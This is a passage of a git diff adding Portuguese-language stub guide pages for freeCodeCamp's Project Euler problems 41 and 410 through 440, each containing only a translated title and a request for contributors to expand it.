@@ -0,0 +1,9 @@
+---
+title: Pandigital prime
+localeTitle: Pandigital prime
+---
+## Problema 41: Pandigital prime
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-41-pandigital-prime/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-410-circle-and-tangent-line/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-410-circle-and-tangent-line/index.md
new file mode 100644
index 0000000000..82c1a424af
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-410-circle-and-tangent-line/index.md
@@ -0,0 +1,9 @@
+---
+title: Circle and tangent line
+localeTitle: Linha circular e tangente
+---
+## Problema 410: Linha Circular e Tangente
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-410-circle-and-tangent-line/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-411-uphill-paths/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-411-uphill-paths/index.md
new file mode 100644
index 0000000000..dc8a620365
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-411-uphill-paths/index.md
@@ -0,0 +1,9 @@
+---
+title: Uphill paths
+localeTitle: Caminhos subida
+---
+## Problema 411: caminhos subidos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-411-uphill-paths/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-412-gnomon-numbering/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-412-gnomon-numbering/index.md
new file mode 100644
index 0000000000..e84d9a071d
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-412-gnomon-numbering/index.md
@@ -0,0 +1,9 @@
+---
+title: Gnomon numbering
+localeTitle: Numeração Gnomon
+---
+## Problema 412: numeração Gnomon
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-412-gnomon-numbering/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-413-one-child-numbers/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-413-one-child-numbers/index.md
new file mode 100644
index 0000000000..e8e9d9a3cc
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-413-one-child-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: One-child Numbers
+localeTitle: Números de um filho
+---
+## Problema 413: Números de um filho
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-413-one-child-numbers/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-414-kaprekar-constant/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-414-kaprekar-constant/index.md
new file mode 100644
index 0000000000..2e1862ad37
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-414-kaprekar-constant/index.md
@@ -0,0 +1,9 @@
+---
+title: Kaprekar constant
+localeTitle: Constante Kaprekar
+---
+## Problema 414: constante de Kaprekar
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-414-kaprekar-constant/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-415-titanic-sets/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-415-titanic-sets/index.md
new file mode 100644
index 0000000000..a073af9f5a
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-415-titanic-sets/index.md
@@ -0,0 +1,9 @@
+---
+title: Titanic sets
+localeTitle: Conjuntos titânicos
+---
+## Problema 415: Conjuntos Titanic
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-415-titanic-sets/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-416-a-frogs-trip/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-416-a-frogs-trip/index.md
new file mode 100644
index 0000000000..7ad86a2ac0
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-416-a-frogs-trip/index.md
@@ -0,0 +1,9 @@
+---
+title: A frog's trip
+localeTitle: A viagem de um sapo
+---
+## Problema 416: A viagem de um sapo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-416-a-frogs-trip/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-417-reciprocal-cycles-ii/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-417-reciprocal-cycles-ii/index.md
new file mode 100644
index 0000000000..aa1011a219
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-417-reciprocal-cycles-ii/index.md
@@ -0,0 +1,9 @@
+---
+title: Reciprocal cycles II
+localeTitle: Ciclos recíprocos II
+---
+## Problema 417: Ciclos recíprocos II
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-417-reciprocal-cycles-ii/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-418-factorisation-triples/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-418-factorisation-triples/index.md
new file mode 100644
index 0000000000..c5dd22b845
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-418-factorisation-triples/index.md
@@ -0,0 +1,9 @@
+---
+title: Factorisation triples
+localeTitle: Fatoração tripla
+---
+## Problema 418: triplicação de fatores
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-418-factorisation-triples/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-419-look-and-say-sequence/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-419-look-and-say-sequence/index.md
new file mode 100644
index 0000000000..8a9848e313
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-419-look-and-say-sequence/index.md
@@ -0,0 +1,9 @@
+---
+title: Look and say sequence
+localeTitle: Olhe e diga sequência
+---
+## Problema 419: Olhe e diga sequência
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-419-look-and-say-sequence/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-42-coded-triangle-numbers/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-42-coded-triangle-numbers/index.md
new file mode 100644
index 0000000000..7e49eff26a
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-42-coded-triangle-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Coded triangle numbers
+localeTitle: Números de triângulo codificados
+---
+## Problema 42: Números de triângulos codificados
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-42-coded-triangle-numbers/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-420-2x2-positive-integer-matrix/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-420-2x2-positive-integer-matrix/index.md
new file mode 100644
index 0000000000..d8cb667f87
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-420-2x2-positive-integer-matrix/index.md
@@ -0,0 +1,9 @@
+---
+title: 2x2 positive integer matrix
+localeTitle: Matriz Inteira Positiva 2x2
+---
+## Problema 420: Matriz Inteira Positiva 2x2
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-420-2x2-positive-integer-matrix/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-421-prime-factors-of-n151/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-421-prime-factors-of-n151/index.md
new file mode 100644
index 0000000000..ea94a7039c
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-421-prime-factors-of-n151/index.md
@@ -0,0 +1,9 @@
+---
+title: Prime factors of n15+1
+localeTitle: Fatores primos de n15 + 1
+---
+## Problema 421: Fatores primos de n15 + 1
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-421-prime-factors-of-n151/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-422-sequence-of-points-on-a-hyperbola/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-422-sequence-of-points-on-a-hyperbola/index.md
new file mode 100644
index 0000000000..108402bf47
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-422-sequence-of-points-on-a-hyperbola/index.md
@@ -0,0 +1,9 @@
+---
+title: Sequence of points on a hyperbola
+localeTitle: Sequência de pontos em uma hipérbole
+---
+## Problema 422: Sequência de pontos em uma hipérbole
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-422-sequence-of-points-on-a-hyperbola/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-423-consecutive-die-throws/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-423-consecutive-die-throws/index.md
new file mode 100644
index 0000000000..9592ed5851
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-423-consecutive-die-throws/index.md
@@ -0,0 +1,9 @@
+---
+title: Consecutive die throws
+localeTitle: Arremessos consecutivos de dados
+---
+## Problema 423: Arremessos consecutivos de matrizes
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-423-consecutive-die-throws/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-424-kakuro/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-424-kakuro/index.md
new file mode 100644
index 0000000000..a2c1350777
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-424-kakuro/index.md
@@ -0,0 +1,9 @@
+---
+title: Kakuro
+localeTitle: Kakuro
+---
+## Problema 424: Kakuro
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-424-kakuro/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-425-prime-connection/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-425-prime-connection/index.md
new file mode 100644
index 0000000000..f32f2230e4
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-425-prime-connection/index.md
@@ -0,0 +1,9 @@
+---
+title: Prime connection
+localeTitle: Conexão Prime
+---
+## Problema 425: Conexão Prime
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-425-prime-connection/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-426-box-ball-system/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-426-box-ball-system/index.md
new file mode 100644
index 0000000000..42f3c88d67
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-426-box-ball-system/index.md
@@ -0,0 +1,9 @@
+---
+title: Box-ball system
+localeTitle: Sistema de box-ball
+---
+## Problema 426: sistema de box-ball
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-426-box-ball-system/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-427-n-sequences/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-427-n-sequences/index.md
new file mode 100644
index 0000000000..40b368361d
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-427-n-sequences/index.md
@@ -0,0 +1,9 @@
+---
+title: n-sequences
+localeTitle: n sequências
+---
+## Problema 427: sequências-n
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-427-n-sequences/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-428-necklace-of-circles/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-428-necklace-of-circles/index.md
new file mode 100644
index 0000000000..4ad41e0a3e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-428-necklace-of-circles/index.md
@@ -0,0 +1,9 @@
+---
+title: Necklace of Circles
+localeTitle: Colar de Círculos
+---
+## Problema 428: Colar de Círculos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-428-necklace-of-circles/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-429-sum-of-squares-of-unitary-divisors/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-429-sum-of-squares-of-unitary-divisors/index.md
new file mode 100644
index 0000000000..6f7a495dba
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-429-sum-of-squares-of-unitary-divisors/index.md
@@ -0,0 +1,9 @@
+---
+title: Sum of squares of unitary divisors
+localeTitle: Soma de quadrados de divisores unitários
+---
+## Problema 429: Soma dos quadrados dos divisores unitários
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-429-sum-of-squares-of-unitary-divisors/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-43-sub-string-divisibility/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-43-sub-string-divisibility/index.md
new file mode 100644
index 0000000000..f33978ef6d
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-43-sub-string-divisibility/index.md
@@ -0,0 +1,9 @@
+---
+title: Sub-string divisibility
+localeTitle: Divisibilidade de subcadeia
+---
+## Problema 43: Divisibilidade de subcadeia
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-43-sub-string-divisibility/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-430-range-flips/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-430-range-flips/index.md
new file mode 100644
index 0000000000..1ddcdfa4c4
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-430-range-flips/index.md
@@ -0,0 +1,9 @@
+---
+title: Range flips
+localeTitle: Alcance
+---
+## Problema 430: Variáveis ​​de Intervalo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-430-range-flips/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-431-square-space-silo/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-431-square-space-silo/index.md
new file mode 100644
index 0000000000..07a73edd31
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-431-square-space-silo/index.md
@@ -0,0 +1,9 @@
+---
+title: Square Space Silo
+localeTitle: Silo de espaço quadrado
+---
+## Problema 431: Silo de Espaço Quadrado
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-431-square-space-silo/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-432-totient-sum/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-432-totient-sum/index.md
new file mode 100644
index 0000000000..88ecd9353b
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-432-totient-sum/index.md
@@ -0,0 +1,9 @@
+---
+title: Totient sum
+localeTitle: I totient
+---
+## Problema 432: soma total
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-432-totient-sum/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-433-steps-in-euclids-algorithm/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-433-steps-in-euclids-algorithm/index.md
new file mode 100644
index 0000000000..eced62467d
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-433-steps-in-euclids-algorithm/index.md
@@ -0,0 +1,9 @@
+---
+title: Steps in Euclid's algorithm
+localeTitle: Etapas no algoritmo de Euclides
+---
+## Problema 433: Etapas no algoritmo de Euclides
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-433-steps-in-euclids-algorithm/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-434-rigid-graphs/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-434-rigid-graphs/index.md
new file mode 100644
index 0000000000..d92039f1fd
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-434-rigid-graphs/index.md
@@ -0,0 +1,9 @@
+---
+title: Rigid graphs
+localeTitle: Gráficos rígidos
+---
+## Problema 434: Gráficos rígidos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-434-rigid-graphs/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-435-polynomials-of-fibonacci-numbers/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-435-polynomials-of-fibonacci-numbers/index.md
new file mode 100644
index 0000000000..b39d4addad
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-435-polynomials-of-fibonacci-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Polynomials of Fibonacci numbers
+localeTitle: Polinômios de números de Fibonacci
+---
+## Problema 435: Polinômios de números de Fibonacci
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-435-polynomials-of-fibonacci-numbers/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-436-unfair-wager/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-436-unfair-wager/index.md
new file mode 100644
index 0000000000..655a318d2c
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-436-unfair-wager/index.md
@@ -0,0 +1,9 @@
+---
+title: Unfair wager
+localeTitle: Aposta injusta
+---
+## Problema 436: Aposta desleal
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-436-unfair-wager/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-437-fibonacci-primitive-roots/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-437-fibonacci-primitive-roots/index.md
new file mode 100644
index 0000000000..4f4631a866
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-437-fibonacci-primitive-roots/index.md
@@ -0,0 +1,9 @@
+---
+title: Fibonacci primitive roots
+localeTitle: Raízes primitivas de Fibonacci
+---
+## Problema 437: raízes primitivas de Fibonacci
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-437-fibonacci-primitive-roots/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-438-integer-part-of-polynomial-equations-solutions/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-438-integer-part-of-polynomial-equations-solutions/index.md
new file mode 100644
index 0000000000..c3bff44962
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-438-integer-part-of-polynomial-equations-solutions/index.md
@@ -0,0 +1,9 @@
+---
+title: Integer part of polynomial equation's solutions
+localeTitle: Parte inteira das soluções da equação polinomial
+---
+## Problema 438: parte inteira das soluções da equação polinomial
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-438-integer-part-of-polynomial-equations-solutions/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-439-sum-of-sum-of-divisors/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-439-sum-of-sum-of-divisors/index.md
new file mode 100644
index 0000000000..564fd92936
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-439-sum-of-sum-of-divisors/index.md
@@ -0,0 +1,9 @@
+---
+title: Sum of sum of divisors
+localeTitle: Soma da soma de divisores
+---
+## Problema 439: Soma da soma dos divisores
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-439-sum-of-sum-of-divisors/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-44-pentagon-numbers/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-44-pentagon-numbers/index.md
new file mode 100644
index 0000000000..f92e2671a2
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-44-pentagon-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Pentagon numbers
+localeTitle: Números do Pentágono
+---
+## Problema 44: números do Pentágono
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-44-pentagon-numbers/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-440-gcd-and-tiling/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-440-gcd-and-tiling/index.md
new file mode 100644
index 0000000000..cfbc480ae5
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-440-gcd-and-tiling/index.md
@@ -0,0 +1,9 @@
+---
+title: GCD and Tiling
+localeTitle: GCD e Tiling
+---
+## Problema 440: GCD e Tiling
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-440-gcd-and-tiling/index.md) .
+
